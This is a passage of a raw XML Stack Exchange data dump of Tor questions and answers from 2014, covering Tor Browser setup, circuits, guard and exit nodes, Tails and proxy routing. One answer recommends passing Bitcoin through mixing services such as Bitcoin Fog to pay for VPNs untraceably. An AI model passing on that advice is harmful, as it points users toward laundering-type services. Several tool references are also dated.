have Mac knowledge or don't know for sure that what you're saying works on a mac.&lt;/li&gt;&#xA;&lt;li&gt;I'm just learning about all of this, so please don't tell me: &quot;just do a &lt;code&gt;ps -ax&lt;/code&gt;&quot; without telling me how. Computer help forums are so chock-full of people trying so show their superiority by implying that others should have some arbitrary level of pre-knowledge. It doesn't make you look smarter, it just tells me how rarely you get laid. I would never do that to someone I was teaching how to survive in big waves or to scuba dive. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1695" LastEditorUserId="88" LastEditDate="2014-05-02T07:27:16.983" LastActivityDate="2014-08-24T15:11:21.187" Title="Tor upgrade says a copy of firefox is already running macbook NOT WINDOWS" Tags="|tor-browser-bundle|configuration|firefox|mac|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2038" PostTypeId="2" ParentId="2036" CreationDate="2014-05-01T20:44:23.433" Score="2" Body="&lt;p&gt;It's a known issue that will be fixed in the next release caused by the addition of pluggable transport support.  For more information, see &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/11658&quot; rel=&quot;nofollow&quot;&gt;#11658 Unable to set the proxy in TBB 3.6 &lt;/a&gt; in the Tor Project's bug tracking system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A short term solution would be to manually edit the &quot;Data/Tor/torrc-defaults&quot; file and comment out all the lines that begin with &quot;ClientTransportPlugin&quot;, but you will not be able to use obfs2/obfs3/flashproxy/fte to connect to the Tor network.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2014-05-01T20:44:23.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2039" PostTypeId="1" CreationDate="2014-05-02T01:24:51.260" Score="1" ViewCount="1648" Body="&lt;p&gt;Default number of nodes is 3. Can i build a circuit of 5 or 6 nodes? (using whonix)&lt;/p&gt;&#xA;" OwnerUserId="1698" LastEditorUserId="1698" LastEditDate="2014-05-02T12:47:32.587" LastActivityDate="2014-06-10T19:11:52.197" Title="Is it possible to change the default circuit length?" Tags="|circuit|whonix|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2040" PostTypeId="1" CreationDate="2014-05-02T06:34:50.210" Score="3" ViewCount="957" Body="&lt;p&gt;Reading about the Heartbleed Bug, and the NSA having readable access to the Tor network, I can't really answer this question myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is logging into any account on a website using https, in technical terms, as secure as just browsing the Internet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I have understand, Tor randomizes the path packets use for different sites etc. Assuming that there is no Tor server in my paths that is leaking security (like with the Heartbleed bug) are my packets still encrypted in a safe way, so that no man in the middle attack can occur?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that I don't want to discuss the security of the account, just the technical security, in terms of delivering the packets on the wire.&lt;/p&gt;&#xA;" OwnerUserId="1701" LastEditorUserId="100" LastEditDate="2014-06-23T05:32:08.497" LastActivityDate="2014-06-23T05:32:08.497" Title="Is logging into accounts on Tor secure (from a technical viewpoint)?" Tags="|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2041" PostTypeId="1" CreationDate="2014-05-02T12:21:46.780" Score="3" ViewCount="752" Body="&lt;p&gt;Tools like Atlas graphs an Exit Node's 'Exit Probability': &lt;a href=&quot;https://atlas.torproject.org/#details/E93F05C9A7112544A2F132CBB7F6701877140F2A&quot; rel=&quot;nofollow&quot;&gt;https://atlas.torproject.org/#details/E93F05C9A7112544A2F132CBB7F6701877140F2A&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is the Exit Probability calculated? (Bonus for a link to the code.)  Do exit probabilities add up nicely to 100% among all exit nodes?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a mechanism to re-run the calculation taking into account a particular exit port (or IP)?&lt;/p&gt;&#xA;" OwnerUserId="43" LastActivityDate="2014-05-16T20:20:04.110" Title="How is 'Exit Probability' calculated?" Tags="|exit-relays|exit-policies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2042" PostTypeId="2" ParentId="2039" CreationDate="2014-05-02T14:52:52.463" Score="1" Body="&lt;p&gt;You'd need to compile Tor from source - this is not a configuration change.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this isn't a great decision - &lt;a href=&quot;https://tor.stackexchange.com/questions/103/is-it-possible-to-make-the-tor-onion-routing-path-longer&quot;&gt;Is it possible to make the Tor onion-routing path longer?&lt;/a&gt; has a few answers about this topic.&lt;/p&gt;&#xA;" OwnerUserId="43" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-05-02T14:52:52.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2043" PostTypeId="1" CreationDate="2014-05-02T21:11:50.673" Score="1" ViewCount="196" Body="&lt;p&gt;Hope this isn't stupid but I've thought about this on and off for a while: Does it make sense to build a Linux From Scratch (or BLFS) project (hardened?) using the TAILS component list as the model? The idea being to launch Tor from the best possible foundation? This will increase user familiarity with the components which should improve security as well. Someone who is familiar with this should be able to explain why this might be a weaker or stronger environment for launching Tor.&lt;/p&gt;&#xA;" OwnerUserId="1635" LastEditorUserId="923" LastEditDate="2014-06-19T16:12:50.860" LastActivityDate="2014-06-19T16:12:50.860" Title="Tor LFS and TAILS" Tags="|tails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2045" PostTypeId="1" CreationDate="2014-05-03T09:26:48.647" Score="1" ViewCount="4451" Body="&lt;p&gt;Can anybody describe, how to configure HTTrack to work via the Tor Browser Bundle?&lt;/p&gt;&#xA;" OwnerUserId="1705" LastEditorUserId="923" LastEditDate="2014-05-03T13:13:13.873" LastActivityDate="2014-10-01T16:51:15.233" Title="How can I configure HTTrack to work via Tor Browser?" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2047" PostTypeId="2" ParentId="2035" CreationDate="2014-05-04T02:38:27.137" Score="1" Body="&lt;p&gt;Yes.  You are correct in your understanding that using an obfs3 bridge will cause a python interpreter to be spawned.  Currently all the pluggable transport types distributed along the Tor Browser use python, though that's not guaranteed to remain the case in the future (meek using Go is an example of something in development that explicitly does not use python).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're curious you could look in &lt;code&gt;Tor/PluggableTransports&lt;/code&gt; and see all the scripts, or look at the relevant PT's source code in the various source repositories.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2014-05-04T02:38:27.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2048" PostTypeId="1" AcceptedAnswerId="2158" CreationDate="2014-05-04T13:06:23.987" Score="4" ViewCount="18829" Body="&lt;p&gt;What is the best way to copy files to and from a Tails Virtual machine running under virtualbox? I tried sharing a folder from my Host OS (OSX) and also installing guest additions (this caused the VM to shut down).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand there are security implications but for my use case, I want to use tails to download files via tor and then transfer them elsewhere.&lt;/p&gt;&#xA;" OwnerUserId="1666" LastActivityDate="2016-07-12T15:52:15.940" Title="Copying files to and from a tails VM" Tags="|tails|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2049" PostTypeId="1" CreationDate="2014-05-04T16:38:53.287" Score="2" ViewCount="746" Body="&lt;p&gt;Some websites I am accessing through Tor recognise that I am masking my IP address. They are blocking my access requiring that I access the website via my actual IP address from my service provider, of course this defeats the purpose of using Tor. How do I bypass this?&lt;/p&gt;&#xA;" OwnerUserId="1709" LastEditorUserId="923" LastEditDate="2014-06-24T08:25:22.087" LastActivityDate="2014-06-24T08:25:22.087" Title="website recognises I am using Tor to mask IP address" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2050" PostTypeId="2" ParentId="2049" CreationDate="2014-05-04T17:37:04.910" Score="2" Body="&lt;p&gt;There are &lt;a href=&quot;http://torstatus.blutmagie.de/&quot; rel=&quot;nofollow&quot;&gt;public lists of Tor exit nodes&lt;/a&gt; that site operators can use to identify Tor users. Unfortunately, using Tor necessitates the use of an exit node, which means that it will be possible to identify Tor users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A possible solution without Tor is to use a &lt;a href=&quot;http://en.wikipedia.org/wiki/Virtual_private_network&quot; rel=&quot;nofollow&quot;&gt;Virtual Private Network (VPN)&lt;/a&gt; to mask your original IP address. VPNs are subject to being treated in the same way as Tor exit nodes but they are much more plentiful and it is difficult to maintain an accurate list of VPNs.&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2014-05-04T17:37:04.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2052" PostTypeId="1" CreationDate="2014-05-05T06:55:03.700" Score="1" ViewCount="2777" Body="&lt;p&gt;Trying to use Tor with my Hotmail account to send emails. Can access Hotmail and all folders but cannot reply, forward messages or create new email messages.&#xA;Any ideas?&#xA;John&lt;/p&gt;&#xA;" OwnerUserId="1714" LastActivityDate="2014-06-05T08:01:12.910" Title="using Tor with Hotmail" Tags="|email|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2053" PostTypeId="1" CreationDate="2014-05-05T11:36:33.190" Score="0" ViewCount="378" Body="&lt;p&gt;I would like to know how can I activate plugins for soundcloud.com via Tor Browser?&#xA;I can't play music there and upload my tracks and photos now.&#xA;Soundcloud.com is blocked in my country.&lt;/p&gt;&#xA;" OwnerUserId="1715" LastEditorUserId="88" LastEditDate="2014-05-06T09:36:34.700" LastActivityDate="2015-01-11T00:23:09.767" Title="Does not work soundcloud plugins" Tags="|tor-browser-bundle|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2054" PostTypeId="2" ParentId="2041" CreationDate="2014-05-05T14:22:16.727" Score="3" Body="&lt;p&gt;Atlas uses &lt;a href=&quot;https://onionoo.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Onionoo&lt;/a&gt; as its data back-end.  From the &lt;a href=&quot;https://onionoo.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Onionoo protocol specification&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Probability of this relay to be selected for the exit position. This probability is calculated based on consensus weights, relay flags, and bandwidth weights in the consensus. Path selection depends on more factors, so that this probability can only be an approximation. Omitted if the relay is not running, or the consensus does not contain bandwidth weights.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For the code, see &lt;a href=&quot;https://gitweb.torproject.org/onionoo.git/blob/HEAD:/src/org/torproject/onionoo/NodeDetailsStatusUpdater.java#l497&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;NodeDetailsStatusUpdater.calculatePathSelectionProbabilities&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, exit probabilities (should) add up to 100% for all currently running exit nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm afraid there is no easy way to re-run this calculation for specific exit ports or IPs, at least not in Atlas/Onionoo.  You might be able to write your own script using &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;stem&lt;/a&gt;.  All you have to do is process a consensus in a similar way as Onionoo does it, but only consider the subset of nodes permitting a specific port.  Exit IPs is more difficult, because you'd have to combine consensuses with server descriptors to learn that.&lt;/p&gt;&#xA;" OwnerUserId="119" LastEditorUserId="88" LastEditDate="2014-05-16T20:20:04.110" LastActivityDate="2014-05-16T20:20:04.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2055" PostTypeId="2" ParentId="1868" CreationDate="2014-05-05T14:38:45.677" Score="2" Body="&lt;p&gt;Introduction points carry very little load in the hidden service protocol.  They're asked once by the hidden service to accept introduction requests, and whenever one comes in, they forward it to the hidden service.  That happens each time a client attempts to connect to a hidden service, and each introduction point only has to handle 1/3 of those introductions.  Unlikely that reducing that to 1/4, 1/5, 1/100 (not sure what you had in mind) would matter for most hidden services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there's a downside of raising the number of introduction points: whenever that set changes, the hidden service publishes a new descriptor to the hidden service directories.  Now, it's going to happen much more frequently that 1 out of 4 (5, 100) introduction points fails and needs to be replaced than 1 out of 3.  That hidden service would basically publish new descriptors all the time.  And that's going to put a lot of load on relays.  (It's also possibly anonymity-related, because that hidden service would sure stand out.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr: not helpful, probably harmful, don't do this.&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2014-05-05T14:38:45.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2056" PostTypeId="2" ParentId="2053" CreationDate="2014-05-05T18:35:20.887" Score="1" Body="&lt;p&gt;SoundCloud typically relies upon Adobe's Flash when running on desktop or laptop computers.  This will not work in the Tor Browser Bundle.  Flash's security problems, including information leak opportunities, are incompatible with Tor Browser's anonymity mission, so Flash is explicitly disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the future, you may wish to explore SoundCloud's recommendation for using their service without Flash.  They suggest enabling GStreamer mp3 support in Firefox's about:config.  This might work in a future Tor Browser Bundle release that incorporates Firefox 26 or newer if GStreamer plugins are sensible in light of Tor Browser's mission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the interim, you may have to consider using a VPN and a regular Firefox version in place of the Tor Browser Bundle to reach SoundCloud from your networks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(SoundCloud's suggestion for GStreamer mp3 use is made here: &lt;a href=&quot;http://help.soundcloud.com/customer/portal/articles/1392540-how-can-i-listen-to-soundcloud-on-linux-without-flash-&quot; rel=&quot;nofollow&quot;&gt;http://help.soundcloud.com/customer/portal/articles/1392540-how-can-i-listen-to-soundcloud-on-linux-without-flash-&lt;/a&gt; )&lt;/p&gt;&#xA;" OwnerUserId="314" LastActivityDate="2014-05-05T18:35:20.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2057" PostTypeId="2" ParentId="1870" CreationDate="2014-05-05T22:19:11.813" Score="0" Body="&lt;p&gt;If I may: The real problem seems to be that JavaScript is essential to Firefox OS and JavaScript is a big no no for Tor. From &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2013-July/028740.html&quot; rel=&quot;nofollow&quot;&gt;https://lists.torproject.org/pipermail/tor-talk/2013-July/028740.html&lt;/a&gt; we see &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;They said we must cross-compile any native code into Javascript. I am&#xA;  not sure if that was meant to be a joke or not.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and at &lt;a href=&quot;http://archives.seul.org/or/talk/Jul-2013/msg00121.html&quot; rel=&quot;nofollow&quot;&gt;http://archives.seul.org/or/talk/Jul-2013/msg00121.html&lt;/a&gt; you can see this explicitly stated as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;That is the rub, obviously. A FirefoxOS phone is built around the concept of JavaScript as the primary application programming language. If JavaScript is off, then the phone might as well be bricked.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1635" LastEditorUserId="71" LastEditDate="2015-09-30T07:55:53.433" LastActivityDate="2015-09-30T07:55:53.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2058" PostTypeId="2" ParentId="2049" CreationDate="2014-05-05T23:51:32.443" Score="1" Body="&lt;p&gt;If you want Tor-level anonymity, simply using VPN services is in no way adequate. For at least some websites that block Tor exits, it may be sufficient to use &quot;anonymous&quot; HTTP/HTTPS proxies. HideMyAss has a good list of free proxies that are probably not botnet slaves. There are browser add-ons to manage proxies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If proxies aren't enough, you can tunnel TCP-mode VPNs through Tor. The simplest approach uses Whonix with a VPN client in the workstation VM. To best maintain Tor-level anonymity, it's easiest to use free VPNs, such as SecurityKISS or VPN Gate. You must set everything up using Tor, to protect anonymity. However, free VPNs often have bandwidth and/or usage caps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to use paid VPNs, you must make all arrangements via Tor, and pay as anonymously as possible. Cash through the mail is a good option, but slow. It's faster to use Bitcoins. But you must anonymize them by multiple transfers (using Tor) through mixing services (such as Bitcoin Fog) among multiple Multibit wallets in Whonix VMs.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-05-05T23:51:32.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2059" PostTypeId="2" ParentId="2052" CreationDate="2014-05-06T07:48:39.037" Score="1" Body="&lt;p&gt;Most likely a plugin \ script that it's using for this is blocked.&#xA;You either have to unblock and loosen up on the tor browser bundle's security and let it run scripts and such (not recommended to be honest, but it's up to you) - or route a email client like Thunderbird through tor and use that directly.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-05-06T07:48:39.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2060" PostTypeId="2" ParentId="1893" CreationDate="2014-05-06T18:55:56.483" Score="9" Body="&lt;p&gt;Even after jailbreaking an iOS device, I'm unaware of any way to run Tor Browser on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can approximate Tor Browser on Apple's iOS with the open source Onion Browser, by Mike Tigas.  Onion Browser will use the Tor network for transport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Onion Browser is not a Tor Project app.  That said, it does appear to be developed and distributed with attention to the details of anonymity.  See &lt;a href=&quot;http://onionbrowser.com/&quot;&gt;http://onionbrowser.com/&lt;/a&gt; for more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, Onion Browser is a minimal browser, and not a fairly full featured Firefox version like Tor Browser is.  This might present you with a fingerprinting issue, depending on your threat model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use it, do heed the additional warnings Onion Browser gives you about what it cannot anonymize due to the nature of iOS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source code: &lt;a href=&quot;https://github.com/mtigas/iOS-OnionBrowser&quot;&gt;https://github.com/mtigas/iOS-OnionBrowser&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="314" LastActivityDate="2014-05-06T18:55:56.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2061" PostTypeId="1" AcceptedAnswerId="9537" CreationDate="2014-05-07T06:20:46.020" Score="2" ViewCount="2158" Body="&lt;p&gt;I've been trying to follow &lt;a href=&quot;http://www.howtoforge.com/how-to-set-up-a-tor-middlebox-routing-all-virtualbox-virtual-machine-traffic-over-the-tor-network&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;: the goal is to have all connections made from my debian virtual machine, pass through Tor installed on my ubuntu host machine. The host machine is a freshly installed Xubuntu 14.04 running virtual box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed each step of the tutorial as well as all the variants found around the web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My VM successfully obtains an IP in the expected range but when I try to ping a host, after correctly resolving its IP address, the packets get invariably lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my HM route table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Destination     Gateway         Genmask         Flags Metric Ref    Use Iface&#xA;0.0.0.0         192.168.1.254   0.0.0.0         UG    0      0        0 wlan0&#xA;169.254.0.0     0.0.0.0         255.255.0.0     U     1000   0        0 vnet0&#xA;172.16.0.0      0.0.0.0         255.255.255.0   U     0      0        0 vnet0&#xA;192.168.1.0     0.0.0.0         255.255.255.0   U     9      0        0 wlan0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My HM ifconfig vnet0:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vnet0     Link encap:Ethernet  HWaddr 66:4e:0b:d9:d8:26  &#xA;          inet addr:172.16.0.1  Bcast:172.16.0.255  Mask:255.255.255.0&#xA;          inet6 addr: fe80::644e:bff:fed9:d826/64 Scope:Link&#xA;          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xA;          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&#xA;          TX packets:91 errors:0 dropped:0 overruns:0 carrier:0&#xA;          collisions:0 txqueuelen:0 &#xA;          RX bytes:0 (0.0 B)  TX bytes:11165 (11.1 KB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My VM route table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Destination     Gateway         Genmask         Flags Metric Ref    Use Iface&#xA;0.0.0.0         172.16.0.1      0.0.0.0         UG    0      0        0 eth0&#xA;169.254.0.0     0.0.0.0         255.255.0.0     U     1000   0        0 eth0&#xA;172.16.0.0      0.0.0.0         255.255.255.0   U     0      0        0 eth0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After encountering other problems I manged to get this far with the little knowledge I gained from a networking course followed at Uni, but from now I really wouldn't know where to head even to start debugging the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please help me out?&lt;/p&gt;&#xA;" OwnerUserId="1720" LastEditorUserId="923" LastEditDate="2014-06-27T08:07:57.060" LastActivityDate="2016-01-24T02:45:13.180" Title="Setting up Tor middlebox through ubuntu and debian on VM" Tags="|transparent-proxy|virtual-machine|virtualisation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2062" PostTypeId="1" CreationDate="2014-05-07T07:43:10.027" Score="3" ViewCount="168" Body="&lt;p&gt;It is said that a client maintains a list of guard nodes for certain time for making a circuit. I want to know how many number of guard nodes they make in a list? How often they change these guard nodes and how do they maintain a list from hundred of nodes available?&lt;/p&gt;&#xA;" OwnerUserId="1384" LastActivityDate="2014-06-06T19:16:18.767" Title="How a client maintains a list of guard nodes, from among hundreds of guard nodes, for creating a circuit?" Tags="|circuit|guard|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2064" PostTypeId="2" ParentId="2048" CreationDate="2014-05-07T16:25:46.920" Score="1" Body="&lt;p&gt;I use a external usb drive that I mount. The drive is also full-disk encrypted with truecrypt.&#xA;Plug it in. Then enable it un the lists of usb devices in virtualbox window. Tails will then find it as usb device just as normal.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="112" LastEditDate="2014-05-07T20:01:37.030" LastActivityDate="2014-05-07T20:01:37.030" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2065" PostTypeId="2" ParentId="2062" CreationDate="2014-05-07T19:10:09.270" Score="2" Body="&lt;p&gt;You can find your EntryGuards in your data directory. If you are using the Tor Browser Bundle, you have the list in &lt;code&gt;Data/Tor/state&lt;/code&gt;. In other cases there will be a &lt;code&gt;.tor&lt;/code&gt; directory in your home directory or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently Tor selects 3 EntryGuards per default. This setting may however be changed using &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#NumEntryGuards&quot; rel=&quot;nofollow&quot;&gt;NumEntryGuards&lt;/a&gt;. There is another option that is called GuardLifetime. According to the manual it is based of what the network consensus is. &lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-05-07T19:10:09.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2066" PostTypeId="1" CreationDate="2014-05-07T20:41:00.803" Score="3" ViewCount="246" Body="&lt;p&gt;I am exploring putting up a simple page as a hidden service advertising business formation and nominee services. Does anyone offer hosted pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I don't really need an entire site, just a way of communicating our services as a bridge between the anonymous-world and the public-world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background: We are a law firm with a subsidiary that caters to privacy-minded individuals and businesses. That means that we operate in full daylight but want customers to know that we respect their privacy concerns and have strategies to support them.&lt;/p&gt;&#xA;" OwnerUserId="1724" LastActivityDate="2019-07-02T00:02:14.137" Title="Are there hosts for hidden services?" Tags="|onion-services|web-hosting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2067" PostTypeId="2" ParentId="2066" CreationDate="2014-05-07T22:46:08.880" Score="2" Body="&lt;p&gt;A hidden service is most useful when you wish to provide a service while trying to remain anonymous.  They are also useful for users testing .onion reachability from their Tor Browser.  Finally, they can be used to encourage Tor use, while incidentally limiting the visitors to the service to those capable of running Tor or using a .onion gateway site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your described needs for privacy-minded client services don't require anonymity. As well, you probably don't want to restrict the number of visitors artificially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, in your case it may be better to make sure your main site is reachable via Tor exit nodes while encouraging visitors to use the Tor Browser Bundle or Tails for reaching it.&lt;/p&gt;&#xA;" OwnerUserId="314" LastActivityDate="2014-05-07T22:46:08.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2069" PostTypeId="1" CreationDate="2014-05-08T13:57:49.273" Score="1" ViewCount="82" Body="&lt;p&gt;I'd like to know if it is possible to perform a timing/correlation attack on a Communication which uses Tor, if the communication is done in 3 packets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am reffering to passive corelation attacks, where statistics are used to identify the communicating partners as described for example &lt;a href=&quot;http://f3.tiera.ru/2/Cs_Computer%20science/CsLn_Lecture%20notes/Financial%20Cryptography,%208%20conf.,%20FC%202004%28LNCS3110,%20Springer,%202004%29%28ISBN%203540224203%29%28294s%29.pdf#page=264&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To rephrase:&#xA;Are there any correlation or timing attacks which need only up to 3 packets of a network communication to identify the two communicating partners?&lt;/p&gt;&#xA;" OwnerUserId="1728" LastEditorUserId="1728" LastEditDate="2014-05-09T09:39:54.987" LastActivityDate="2014-05-09T09:39:54.987" Title="Is it possible to perform a timing/correlation attack for a stream which sends only 3 packets?" Tags="|attacks|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2070" PostTypeId="2" ParentId="2048" CreationDate="2014-05-08T16:28:42.470" Score="1" Body="&lt;p&gt;if your VM NIC operate in nat mode, the comunication between your host are limited. but, your NIC operate in bridge mode, use security copy over ssl channel, like scp, rsync and for ms windows clientes, winscp per example. &lt;/p&gt;&#xA;" OwnerUserId="1727" LastActivityDate="2014-05-08T16:28:42.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2071" PostTypeId="1" CreationDate="2014-05-01T11:35:08.703" Score="3" ViewCount="789" Body="&lt;p&gt;Tor ExitNodes accept ISO country code or Ip address.. &lt;br&gt;&#xA;Trying to connect Tor ExitNode like..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   ExitNodes {X.X.0.0/16},{X.X.0.0/20} &#xA;   StrictExitNodes 1.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it's not working. so it is not possible or i'm doing wrong..&lt;/p&gt;&#xA;" OwnerUserId="1637" OwnerDisplayName="Nemi" LastEditorUserId="88" LastEditDate="2014-05-10T22:19:51.327" LastActivityDate="2014-08-24T08:05:18.957" Title="Tor ExitNodes as ip address is not working" Tags="|exit-relays|support|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2072" PostTypeId="2" ParentId="2071" CreationDate="2014-05-03T19:09:08.777" Score="1" Body="&lt;p&gt;According to the &lt;code&gt;torrc&lt;/code&gt; manual page the correct syntax is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNode X.X.0.0/16,Y.Y.Y.0/24&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it should work when you leave out the curly braces.&lt;/p&gt;&#xA;" OwnerUserId="88" OwnerDisplayName="Jens Kubieziel" LastActivityDate="2014-05-03T19:09:08.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2073" PostTypeId="2" ParentId="1737" CreationDate="2014-05-09T08:13:04.053" Score="4" Body="&lt;p&gt;Maybe it's easiest to explain this by example.  The following comes from the current consensus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[...]&#xA;r TorNinurtaName AA8YrCza5McQugiY3J4h5y4BF9g TsD6f/8KF1h7Npm/w2vgkzDumjY 2014-05-08 23:15:06 151.236.6.198 9001 9030&#xA;s Fast Guard HSDir Named Running Stable V2Dir Valid&#xA;v Tor 0.2.3.25&#xA;w Bandwidth=238&#xA;p reject 1-65535&#xA;[...]&#xA;bandwidth-weights Wbd=849 Wbe=0 Wbg=4145 Wbm=10000 Wdb=10000 Web=10000 Wed=8301 Wee=10000 Weg=8301 Wem=10000 Wgb=10000 Wgd=849 Wgg=5855 Wgm=5855 Wmb=10000 Wmd=849 Wme=0 Wmg=4145 Wmm=10000&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;W??&lt;/code&gt; numbers are the bandwidth weights.  For example, &lt;code&gt;Wgg&lt;/code&gt; is the &quot;Weight for Guard-flagged nodes in the guard position&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your client were to consider that relay as a possible guard, it would multiply its consensus weight 